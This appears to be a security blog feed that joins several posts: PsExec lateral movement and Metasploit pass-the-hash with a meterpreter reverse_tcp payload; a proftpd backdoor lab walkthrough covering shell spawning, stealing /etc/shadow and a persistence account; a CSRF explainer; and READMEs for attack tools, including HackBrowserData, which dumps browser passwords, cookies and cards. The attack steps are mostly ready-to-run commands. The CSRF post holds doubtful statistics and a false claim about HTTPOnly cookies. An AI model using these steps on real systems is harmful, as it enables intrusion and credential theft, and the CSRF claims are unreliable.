PsExec is a lightweight telnet replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.

We can use the PsExec utility to authenticate with the target system legitimately and run arbitrary commands or launch a remote command prompt.

We will be running PsExec from our Windows VM as you may encounter a few issues when running PsExec on Linux with Wine.

Note: We will be utilizing the credentials we extracted from the Windows 10 target system in the Credential Access Video.

You can download PsExec from the following link: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

After downloading PsTools archive, you will need to extract it and open a Windows command prompt in the extracted folder.

We can execute a command on the target system with PsExec by specifying the computer name/IP address, username, and password. This can be done by running the following command:

./PsExec64.exe \\<TARGET-IP> -u Administrator -p <PASSWORD> ipconfig

In this case, we will execute the ipconfig command on the target system in order to verify that we can authenticate successfully with PsExec.

As highlighted in the preceding screenshot, PsExec authenticates with the target system, executes the ipconfig, and provides us with the output of the command.

Alternatively, we can also initiate a remote command prompt session with the target system by running the following command:

./PsExec64.exe \\<TARGET-IP> -u Administrator -p <PASSWORD> cmd.exe

As highlighted in the following screenshot, we are able to authenticate successfully and obtain a remote command shell session on the target system.

We can now utilize the remote command session to scan and ping for other hosts on the network that we can pivot to.

Pass-the-Hash With PsExec

If you weren’t able to extract any cleartext passwords from the target system, you can utilize the pass-the-hash Metasploit module that leverages PsExec in order to authenticate with SMB (Server Message Block) using a user account’s NTLM hash.

Pass-the-hash is a technique that is used by attackers to authenticate to a remote host by using the underlying NTLM or LanMan hash of a user’s password, instead of requiring the associated plaintext password.

For this section, our target system will be running Windows 10. As a prerequisite, ensure that you have gained your initial foothold on the system and have a meterpreter session

The first step will involve loading the SMB PsExec Metasploit module, this can be done by running the following command on the Kali terminal:

msf> use exploit/windows/smb/psexec

After loading the module, you will need to configure the module payload, this can be done by running the following command:

msf> set payload windows/x64/meterpreter/reverse_tcp

You will also need to set the SMBPass and SMBUser options with the NTLM hash and name of the user account. This can be done by running the following commands:

msf> set SMBUser <USERNAME>

Note: In this case, we will be setting the “SMBUser” option to “Administrator”.

msf> set SMBPass <NTLM Hash>

Finally, you will need to set the target system IP address, this can be done by running the following command:

msf> set RHOSTS <TARGET-IP>

After configuring the options, we can execute the module by running the following command:

msf> run

If authentication is successful, you should receive a new meterpreter session with the privileges of the user you authenticated with as shown in the screenshot below.

The post Windows Red Team Lateral Movement With PsExec appeared first on Tech Chronicles.

Don’t get too excited. This Behind the Scenes (BTS) walkthrough is using an old, patched, well-documented vulnerability that was fixed shortly after it was discovered, but it serves as a great example showing how Linux servers are exploited if you don’t keep them patched and up-to-date.

We’ll go through the steps threat actors use to infiltrate a system:

• Reconnaissance
• Scanning
• Obtaining Access
• Exfilitrating data
• Maintaining Persistence
• Pivoting

Lab Environment

The local home lab provides everything we need for this walkthrough.

• Vulnerable Linux Machine – Ubuntu 16.04
  • proftpd 1.3.3c
  • Apache HTTP
  • OpenSSH
• Attacking Machine – Ubuntu Server 22.04
  • Nmap
  • Metasploit

These tools are widely used by penetration testers, network administrators, and threat actors alike. The first tool is Nmap, short for Network Mapper. For network admins, Nmap helps to find networked computers, discover open ports, available services, and detect known vulnerabilities on their network. Once a list of services is discovered, they can be exploited.

Scanning with Nmap

This is part of the reconnaissance or scanning phase where the threat actor wants to learn as much about the target system as they can. Because this is a demonstration we are not going to be quiet about our attack and will do nothing to conceal our intentions. We will use -sV option that tells us the current version of any services that are running. This is a noisy attack that should be picked up by most intrusion detection systems or SIEMs.

$ nmap -sV 10.10.10.172

Researching Vulnerabilities

We could use Google to learn more about the vulnerabilities in the proftpd 1.3.3c server, or we can use the next tool in our toolbox, Metasploit, and use its built-in database to find known vulnerabilities.

Metasploit is an open-source penetration testing framework that helps network administrators, and security professionals discover vulnerabilities in their systems before exploitation by hackers. Complete with various tools, libraries, user interfaces, and modules, Metasploit allows a user to research, configure a payload, point it at a target, and launch an attack. Metasploit’s extensive database contains hundreds of exploits and payloads. Unfortunately, Metasploit is also widely used by threat actors.

Launching Metasploit

Find installation instructions for Metasploit in the documentation and start the Metasploit framework as root with the following command.

$ sudo msfconsole

Search the Database for Known Exploits

Metasploit comes with an extensive database and technical details of over 180,000 vulnerabilites and 4000 exploits. These are all searchable with the search command from the Metasploit command line. We are going to use this database to find proftpd 1.3.3c vulnerabilities and known exploits.

msf6> search proftpd 1.3.3c

Gaining System Access

Let’s begin initial access to the server by configuring our attack by typing use exploit/unix/ftp/proftpd_133c_backdoor or simply the module ID number, use 0.

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor

Gaining a Shell

To have any real fun on our compromised system we are going to want a full Linux shell. The following python command spawns a bash shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Data Exfiltration

Data exfiltration is when a threat actor performs the unauthorized copying, transfer, or retrieval of data from a computer or server. As root, we have full access to the computer and can do anything we want including data exfiltration.

The Linux /etc/password file contains a list of system users, combined with the /etc/shadow file which contains encrypted passwords. Together these two files can be hacked to reveal username/password combinations for lateral movement through the network.

Again, we don’t really care about protecting our identity or our intentions (a SIEM would flag this immediately) so we are going to use scp (secure copy) to copy the password and shadow files to our remote server.

Usernames and Passwords

Cracking the hashed passwords is beyond the scope of this walkthrough, but if you can crack the passwords, an attacker can use the same credentials to pivot to other machines across the network. John the Ripper and Hashcat are two well-known password cracking tools that can quickly reveal username/password combinations.

Maintaining Persistence

Persistence in cybersecurity occurs when a threat actor discreetly maintains long-term access to systems despite disruptions such as restarts or changed credentials.  As root user, we can perform any administrative task we want, including adding users. One of the ways to maintain persistence is by adding a new user so the threat actor can gain access at a later time. Let’s add a new user.

root@vtsec:/# adduser badguy

How to Protect Your Network

This type of attack would be caught by Antivirus (AV), Data Loss Prevention (DLP), and other SIEM solutions to control intrusions and data exfiltration. These are all basic cyber security tools that are part of a company’s overall security strategy that focuses on detecting and preventing the loss, leakage, or misuse of data through breaches, exfiltration, and unauthorized use.

Although it’s unlikely to find the proftpd 1.3.3c vulnerability because it was patched a long time ago, protecting your servers from this type of attack is the first step to protecting them. Update your software and perform routine patch management for all of your services.

The post Exploiting the proftpd Linux Server appeared first on Tech Chronicles.

]]> http://kostacipo.stream/exploiting-the-proftpd-linux-server/feed/ 0 http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/ http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/#respond Mon, 24 Jul 2023 22:08:12 +0000 https://kostacipo.stream/?p=2149 One of the most sophisticated types of attacks that threaten our digital landscape is Cross-Site Request Forgery (CSRF). According to the Open Web Application Security Project (OWASP), CSRF vulnerabilities are among the top 10 most critical web application security risks. Let’s explore what CSRF attacks are, how they work, and the preventative steps that browsers […]

The post Cross-Site Request Forgery (CSRF) Attacks: An Emerging Threat to Browser Security appeared first on Tech Chronicles.

]]>

One of the most sophisticated types of attacks that threaten our digital landscape is Cross-Site Request Forgery (CSRF).

According to the Open Web Application Security Project (OWASP), CSRF vulnerabilities are among the top 10 most critical web application security risks.

Let’s explore what CSRF attacks are, how they work, and the preventative steps that browsers and websites can take to tackle them.

A CSRF attack is an ingenious form of web exploit where an attacker tricks a victim’s browser into performing an unwanted action on a website where the victim is authenticated.

A sobering statistic from Imperva’s Cyber Threat Index indicates that CSRF attacks accounted for almost 5% of all application layer attacks in 2022.

Here’s a simple example: Let’s say you’re logged into your bank’s website, and you’ve left it open in a tab. You visit another website in a new tab, which is under the control of a nefarious actor.

This site forces your browser to send a request to your bank’s website to transfer money without your knowledge or consent. This is a CSRF attack.

How CSRF Attacks Happen

Unlike many other types of attacks that rely on stealing user credentials, CSRF attacks exploit the trust a website has in a user’s browser.

They manipulate the victim into performing actions they didn’t intend to, leading to potential data loss, corruption, or unauthorized changes.

Disturbingly, the 2022 Norton Cyber Security Insights Report showed that 1 in 4 online users globally have been victims of a form of CSRF attacks.

To carry out a CSRF attack, an attacker needs to create a malicious website or email that generates forged HTTP requests. The victim’s browser sends these requests to the targeted website, which can’t differentiate between these forged requests and legitimate ones.

The attacker can then ride the authenticated session of the user.

Preventing CSRF Attacks: The Role of Browsers and Websites

Preventing CSRF attacks is a shared responsibility between web developers and browser manufacturers. A robust understanding and application of browser security are paramount.

The Website’s Responsibility

Websites can guard against CSRF attacks through various measures. They can generate and verify tokens for each session or use the ‘SameSite’ cookie attribute, which allows cookies to be sent only when the request originates from the same site that set the cookie.

The use of CAPTCHA can also help in mitigating CSRF attacks. According to Google, implementing reCAPTCHA blocked 99.9% of automated software-based CSRF attacks on their platforms.

The Browser’s Responsibility

Browsers play a crucial role in mitigating CSRF attacks. They can warn users about suspicious websites, provide visual cues about the security level of websites, and use better cookie controls.

For instance, browsers are now implementing features such as HTTPOnly and Secure cookies that prevent cross-domain requests.

Empowering Individual Users Against CSRF

Ultimately, the prevention of CSRF attacks also lies in the hands of individual users.

Practicing caution when clicking on suspicious links, logging out of sensitive websites when not in use, and regularly updating the browser can significantly reduce the risk of CSRF attacks.

According to a study by the Pew Research Center, approximately 64% of online adults have become more cautious in their online activities due to cybersecurity threats. This is a clear testament to increasing cybersecurity awareness among internet users.

The Future of CSRF

Research indicates that CSRF attacks are likely to increase in the future. This makes ongoing advancements in browser security and web development crucial in maintaining a safe digital environment.

By prioritizing secure coding practices, understanding and implementing advanced CSRF prevention techniques, and continuously educating users about these types of threats, we can create a safer online ecosystem.

Remember, cybersecurity is not a destination but an ongoing journey that requires diligence, knowledge, and adaptability.

The post Cross-Site Request Forgery (CSRF) Attacks: An Emerging Threat to Browser Security appeared first on Tech Chronicles.

]]> http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/feed/ 0 http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/ http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/#respond Mon, 23 Jan 2023 19:31:24 +0000 https://kostacipo.stream/?p=2145 What is Karkinos? Karkinos is a light-weight ‘Swiss Army Knife’ for penetration testing and/or hacking CTF’s. Currently, Karkinos offers the following: Encoding/Decoding characters Encrypting/Decrypting text or files 3 Modules Cracking and generating hashes Disclaimer This tool should be used on applications/networks that you have permission to attack only. Any misuse or damage caused will be […]

The post Karkinos – Penetration Testing and Hacking CTF’s Swiss Army Knife appeared first on Tech Chronicles.

]]> What is Karkinos?

Karkinos is a light-weight ‘Swiss Army Knife’ for penetration testing and/or hacking CTF’s. Currently, Karkinos offers the following:

• Encoding/Decoding characters
• Encrypting/Decrypting text or files
• 3 Modules
• Cracking and generating hashes

Disclaimer

This tool should be used on applications/networks that you have permission to attack only. Any misuse or damage caused will be solely the users’ responsibility.

More: https://github.com/helich0pper/Karkinos

Dependencies

• Any server capable of hosting PHP; tested with Apache Server
• Tested with PHP 7.4.9
• Tested with Python 3.8
  Make sure it is in your path as:
  Windows: python
  Linux: python3
  If it is not, please change the commands in includes/pid.php
• pip3
• Raspberry Pi Zero friendly (crack hashes at your own risk)

Installing

This installation guide assumes you have all the dependencies. A Wiki page with troubleshooting steps can be found here.

Linux/BSD

1. git clone https://github.com/helich0pper/Karkinos.git
2. cd Karkinos
3. pip3 install -r requirements.txt
4. cd wordlists && unzip passlist.zip You can also unzip it manually using file explorer. Just make sure passlist.txt is in wordlists directory.
5. Make sure you have write privileges for db/main.db
6. Enable extension=mysqli in your php.ini file.
   If you don’t know where to find this, refer to the PHP docs. Note: MySQLi is only used to store statistics.
7. Thats it! Now just host it using your preferred web server or run: php -S 127.0.0.1:8888 in the Karkinos directory.Important: using port 5555, 5556, or 5557 will conflict with the Modules
   If you insist on using these ports, change the PORT value in:

• • /bin/Server/app.py Line 87
  • /bin/Busting/app.py Line 155
  • /bin/PortScan/app.py Line 128

Windows

1. git clone https://github.com/helich0pper/Karkinos.git
2. cd Karkinos
3. pip3 install -r requirements.txt
4. cd wordlists && unzip passlist.zip
   You can also unzip it manually using file explorer. Just make sure passlist.txt is in wordlists directory.
5. Make sure you have write privileges for db/main.db
6. Enable extension=mysqli.dll in your php.ini file.
   If you don’t know where to find this, refer to the PHP docs. Note: MySQLi is only used to store statistics
7. Thats it! Now just host it using your preferred web server or run: php -S 127.0.0.1:8888 in the Karkinos directory.Important: using port 5555, 5556, or 5557 will conflict with the Modules
   If you insist on using these ports, change the PORT value in:

• /bin/Server/app.py Line 87
• /bin/Busting/app.py Line 155
• /bin/PortScan/app.py Line 128

Home Menu

Landing page and quick access menu.

User stats are displayed here. Currently, the stats recorded are only the total hashes and hash types cracked successfully.

Encoding/Decoding

This page allows you to encode/decode in common formats (more may be added soon)

Encrypt/Decrypt

Encrypting and decrypting text or files is made easy and is fully trusted since it is done locally.

Reverse Shell Handling

Reverse shells can be captured and interacted with on this page.

Create a listener instance

Configure the listener

Start the listener and capture a shell

Full reverse shell handling demo:

Directory and File Busting

Create an instance

Configure it

Start scanning

Full Directory and File Busting demo:

Port Scanning

Launch the scanner

Configure it

Start scanning

Full Port Scanning Demo:

Generating Hashes

Karkinos can generate commonly used hashes such as:

• MD5
• SHA1
• SHA256
• SHA512

Cracking Hashes

Karkinos offers the option to simultaneously crack hashes using a built-in wordlist consisting of over 15 million common and breached passwords. This list can easily be modified and/or completely replaced.

The post Karkinos – Penetration Testing and Hacking CTF’s Swiss Army Knife appeared first on Tech Chronicles.

]]> http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/feed/ 0 http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/ http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/#respond Wed, 06 Apr 2022 11:19:02 +0000 https://kostacipo.stream/?p=2132 HackBrowserData is an open-source tool that could help you decrypt data (password|bookmark|cookie|history|credit card|downloads link) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux. Disclaimer: This tool is limited to security research only, and the user assumes all legal and related responsibilities arising from its use! […]

The post HackBrowserData – Decrypt passwords/cookies/history/bookmarks from the browser appeared first on Tech Chronicles.

]]> HackBrowserData is an open-source tool that could help you decrypt data (password|bookmark|cookie|history|credit card|downloads link) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.

Disclaimer: This tool is limited to security research only, and the user assumes all legal and related responsibilities arising from its use! The author assumes no legal responsibility!

https://github.com/moonD4rk/HackBrowserData

Supported Browser

Windows

Browser	Password	Cookie	Bookmark	History
Google Chrome
Google Chrome Beta
Chromium
Microsoft Edge
360 Speed
QQ
Brave
Opera
OperaGX
Vivaldi
Yandex
CocCoc
Firefox
Firefox Beta
Firefox Dev
Firefox ESR
Firefox Nightly
Internet Explorer

MacOS

Based on Apple’s security policy, some browsers require a current user password to decrypt.

Browser	Password	Cookie	Bookmark	History
Google Chrome
Google Chrome Beta
Chromium
Microsoft Edge
Brave
Opera
OperaGX
Vivaldi
Yandex
CocCoc
Firefox
Firefox Beta
Firefox Dev
Firefox ESR
Firefox Nightly
Safari

Linux

Browser	Password	Cookie	Bookmark	History
Google Chrome
Google Chrome Beta
Chromium
Microsoft Edge Dev
Brave
Opera
Vivaldi
Firefox
Firefox Beta
Firefox Dev
Firefox ESR
Firefox Nightly

Install

Installation of HackBrowserData is dead-simple, just download the release for your system and run the binary.

In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed. The code is all open source, you can modify and compile by yourself.

Building from source

support go 1.14+

git clone https://github.com/moonD4rk/HackBrowserData

cd HackBrowserData

go build

Cross compile

Need to install target OS’s gcc library, here’s an example of the use Mac building for Windows and Linus

Windows

brew install mingw-w64

CGO_ENABLED=1 GOOS=windows GOARCH=amd64 CC="x86_64-w64-mingw32-gcc" go build

Linux

brew install FiloSottile/musl-cross/musl-cross

CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ GOARCH=amd64 GOOS=linux CGO_ENABLED=1 go build -ldflags "-linkmode external -extldflags -static"

Run

You can double-click to run, or use the command line.

PS C:\test> .\hack-browser-data.exe -h
NAME:
   hack-browser-data - Export passwords/cookies/history/bookmarks from browser
USAGE:
   [hack-browser-data -b chrome -f json -dir results -cc]
   Get all data(password/cookie/history/bookmark) from chrome
VERSION:
   0.3.7

GLOBAL OPTIONS:
   --verbose, --vv                     verbose (default: false)
   --compress, --cc                    compress result to zip (default: false)
   --browser value, -b value           available browsers: all|opera|firefox|chrome|edge (default: "all")
   --results-dir value, --dir value    export dir (default: "results")
   --format value, -f value            format, csv|json|console (default: "csv")
   --profile-dir-path value, -p value  custom profile dir path, get with chrome://version
   --key-file-path value, -k value     custom key file path
   --help, -h                          show help (default: false)
   --version, -v                       print the version (default: false)

PS C:\test>  .\hack-browser-data.exe -b all -f json --dir results -cc
[x]:  Get 44 cookies, filename is results/microsoft_edge_cookie.json
[x]:  Get 54 history, filename is results/microsoft_edge_history.json
[x]:  Get 1 passwords, filename is results/microsoft_edge_password.json
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.json
[x]:  Get 6 bookmarks, filename is results/360speed_bookmark.json
[x]:  Get 19 cookies, filename is results/360speed_cookie.json
[x]:  Get 18 history, filename is results/360speed_history.json
[x]:  Get 1 passwords, filename is results/360speed_password.json
[x]:  Get 12 history, filename is results/qq_history.json
[x]:  Get 1 passwords, filename is results/qq_password.json
[x]:  Get 12 bookmarks, filename is results/qq_bookmark.json
[x]:  Get 14 cookies, filename is results/qq_cookie.json
[x]:  Get 28 bookmarks, filename is results/firefox_bookmark.json
[x]:  Get 10 cookies, filename is results/firefox_cookie.json
[x]:  Get 33 history, filename is results/firefox_history.json
[x]:  Get 1 passwords, filename is results/firefox_password.json
[x]:  Get 1 passwords, filename is results/chrome_password.json
[x]:  Get 4 bookmarks, filename is results/chrome_bookmark.json
[x]:  Get 6 cookies, filename is results/chrome_cookie.json
[x]:  Get 6 history, filename is results/chrome_history.json
[x]:  Compress success, zip filename is results/archive.zip

Run with custom browser profile path

PS C:\Users\User\Desktop> .\hack-browser-data.exe -b edge -p 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default' -k 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Local State'

[x]:  Get 29 history, filename is results/microsoft_edge_history.csv
[x]:  Get 0 passwords, filename is results/microsoft_edge_password.csv
[x]:  Get 1 credit cards, filename is results/microsoft_edge_credit.csv
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.csv
[x]:  Get 54 cookies, filename is results/microsoft_edge_cookie.csv


PS C:\Users\User\Desktop> .\hack-browser-data.exe -b edge -p 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default'

[x]:  Get 1 credit cards, filename is results/microsoft_edge_credit.csv
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.csv
[x]:  Get 54 cookies, filename is results/microsoft_edge_cookie.csv
[x]:  Get 29 history, filename is results/microsoft_edge_history.csv
[x]:  Get 0 passwords, filename is results/microsoft_edge_password.csv

The post HackBrowserData – Decrypt passwords/cookies/history/bookmarks from the browser appeared first on Tech Chronicles.

]]> http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/feed/ 0 http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/ http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/#respond Wed, 06 Apr 2022 11:14:59 +0000 https://kostacipo.stream/?p=2129 Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community. Features Machine-in-the-middle (MITM) HTTP proxy, with logs and advanced search HTTP client for manually creating/editing requests, and replay […]

The post Hetty – An HTTP Toolkit For Security Research appeared first on Tech Chronicles.

]]> Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community.

Features

• Machine-in-the-middle (MITM) HTTP proxy, with logs and advanced search
• HTTP client for manually creating/editing requests, and replay proxied requests
• Scope support, to help keep work organized
• Easy-to-use web based admin interface
• Project based database storage, to help keep work organized

Hetty is in early development. Please see the backlog for details.

Community​

Join the Hetty Discord server.

Documentation

Read the docs.

Installation

The quickest way to install and update Hetty is via a package manager:

macOS

brew install hettysoft/tap/hetty

LINUX 

sudo snap install hetty

WINDOWS

scoop bucket add hettysoft https://github.com/hettysoft/scoop-bucket.git
scoop install hettysoft/hetty

Alternatively, you can download the latest release from GitHub for your OS and architecture, and move the binary to a directory in your $PATH. If your OS is not available for one of the package managers or not listed in the GitHub releases, you can compile from source (link?) or use a Docker image (link?).

Run​

Once installed, start Hetty from the command line:

hetty

When invoked without any options, this:

• Creates a root CA certificate and private key, stored on disk at ~/.hetty/
• Creates a BadgerDB database, stored on disk at ~/.hetty/db/
• Runs an HTTP server that listens on 0.0.0.0:8080, used for proxying and serving the admin interface

You should see the following console output:

2022/03/01 11:09:15 INFO [main] Hetty (v0.5.1) is running on :8080 ...2022/03/01 11:09:15 INFO [main] Get started at http://localhost:8080

You can now visit http://localhost:8080 to access the admin interface.

TIP

To easily use the HTTP proxy without manual setup, Hetty can invoke Chrome (if installed) on startup with the correct predefined settings, via:

hetty --chrome

Alternatively, you can trust the root CA certificate system wide.

Create a project​

1. Visit the admin interface at http://localhost:8080 and click “Manage Projects”.
2. Use the “New project” form to create an open new project:

Once you have a project created and opened, any incoming HTTP requests proxied by Hetty will be logged.

Use the proxy​

To use Hetty’s HTTP proxy, you have several options:

• Run Hetty with hetty --chrome and use a preconfigured Chrome instance (recommended)
• Use a browser extension like FoxyProxy (Firefox) or Proxy SwitchyOmega (Chrome)
• Configure system wide HTTP proxy settings (not recommended)

When using a browser extension for proxying, you can use http://localhost:8080 as the proxy URL (unless you’ve specified a custom listen to address with the --addr option).

NOTE

If you’re planning to use the proxy from a machine different than the one running Hetty (e.g. another device in your LAN), you’ll need to use a non-loopback network address, e.g. the IP address assigned by your DHCP server.

With one of the above options, use the proxy by visiting a website to incur some logs we’ll use in the next section.

View proxy logs​

Once you’ve generated some traffic on the HTTP proxy, there should be some requests logged. Let’s review them by opening the Proxy logs page in the admin interface, found in the vertical menu bar on the left.

Copy to Sender​

Use the “copy” icon next to any log entry to copy this request to the Sender module, allowing you to edit and resend the HTTP request:

Edit & send request​

Browse to the Sender module via the vertical menu bar on the left.

At the bottom of the screen, click the request we just copied from the Proxy logs.

Now you can edit the method, URL, request headers and body of the request. Every time you click Send, a new request is sent and recorded in the history pane at the bottom of the screen.

What’s next?​

You should now be up and running with Hetty! Check out the guides for more detailed feature documentation.

Support​

Use issues for bug reports and feature requests, and discussions for questions and troubleshooting.

Community​

Join the Hetty Discord server.

Contributing​

Want to contribute? Great! Please check the Contribution Guidelines for details.

The post Hetty – An HTTP Toolkit For Security Research appeared first on Tech Chronicles.

]]> http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/feed/ 0 http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/ http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/#respond Sun, 22 Aug 2021 19:05:06 +0000 https://kostacipo.stream/?p=2099 Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester. Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on […]

The post Hacktronian: All in One Hacking Tool for Linux appeared first on Tech Chronicles.

]]> Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester.

Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on targets and perform post exploitation operations on the target. This main benefit of this suite is that all these different tools are available in one place and the user can experiment with different tools within the same terminal. The secondary benefit of this tool is that it can be installed on Android with all the same features.

Features:

• Contains more than 50 different tools
• Modules range from information gathering to post exploitation
• Available for both Android and Linux
• Perfect for creating a penetration testing workflow

HACKTRONIAN Menu :

• Information Gathering
• Password Attacks
• Wireless Testing
• Exploitation Tools
• Sniffing & Spoofing
• Web Hacking
• Private Web Hacking
• Post Exploitation
• Install The HACKTRONIAN

Information Gathering:

• Nmap
• Setoolkit
• Port Scanning
• Host To IP
• wordpress user
• CMS scanner
• XSStrike
• Dork – Google Dorks Passive Vulnerability Auditor
• Scan A server’s Users
• Crips

Password Attacks:

• Cupp
• Ncrack

Wireless Testing:

• reaver
• pixiewps
• Fluxion

Exploitation Tools:

• ATSCAN
• sqlmap
• Shellnoob
• commix
• FTP Auto Bypass
• jboss-autopwn

Sniffing & Spoofing:

• Setoolkit
• SSLtrip
• pyPISHER
• SMTP Mailer

Web Hacking:

• Drupal Hacking
• Inurlbr
• WordPress & Joomla Scanner
• Gravity Form Scanner
• File Upload Checker
• WordPress Exploit Scanner
• WordPress Plugins Scanner
• Shell and Directory Finder
• Joomla! 1.5 – 3.4.5 remote code execution
• Vbulletin 5.X remote code execution
• BruteX – Automatically brute force all services running on a target
• Arachni – Web Application Security Scanner Framework

Private Web Hacking:

• Get all websites
• Get joomla websites
• Get wordpress websites
• Control Panel Finder
• Zip Files Finder
• Upload File Finder
• Get server users
• SQli Scanner
• Ports Scan (range of ports)
• ports Scan (common ports)
• Get server Info
• Bypass Cloudflare

Post Exploitation:

• Shell Checker
• POET
• Weeman

Supported Platforms:

• Linux
• Android (Termux)

Installation in Linux :

This Tool Must Run As ROOT !!!

git clone https://github.com/thehackingsage/hacktronian.git

cd hacktronian

chmod +x install.sh

./install.sh

That’s it.. you can execute tool by typing hacktronian

Installation in Android :

Open Termux

pkg install git

pkg install python

git clone https://github.com/thehackingsage/hacktronian.git

cd hacktronian

chmod +x hacktronian.py

python2 hacktronian.py

Video Tutorial :

YouTube : https://www.youtube.com/watch?v=1LJlyQAQby4

Hacktronian Usage

To execute Hacktronian, run:

$ hacktronian

 _   _    _    ____ _  _______ ____   ___  _   _ ___    _    _   _ 
| | | |  / \  / ___| |/ /_   _|  _ \ / _ \| \ | |_ _|  / \  | \ | |
| |_| | / _ \| |   | ' /  | | | |_) | | | |  \| || |  / _ \ |  \| |
|  _  |/ ___ \ |___| . \  | | |  _ <| |_| | |\  || | / ___ \| |\  |
|_| |_/_/   \_\____|_|\_\ |_| |_| \_\_ __/|_| \_|___/_/   \_\_| \_|
 
[!] This Tool Must Run As ROOT [!] https://linktr.ee/thehackingsage
 
   {1}--Information Gathering
   {2}--Password Attacks
   {3}--Wireless Testing
   {4}--Exploitation Tools
   {5}--Sniffing & Spoofing
   {6}--Web Hacking
   {7}--Private Web Hacking
   {8}--Post Exploitation
   {0}--Install The HACKTRONIAN
   {99}-Exit
 
hacktronian~#

Download: https://github.com/thehackingsage/hacktronian

The post Hacktronian: All in One Hacking Tool for Linux appeared first on Tech Chronicles.

]]> http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/feed/ 0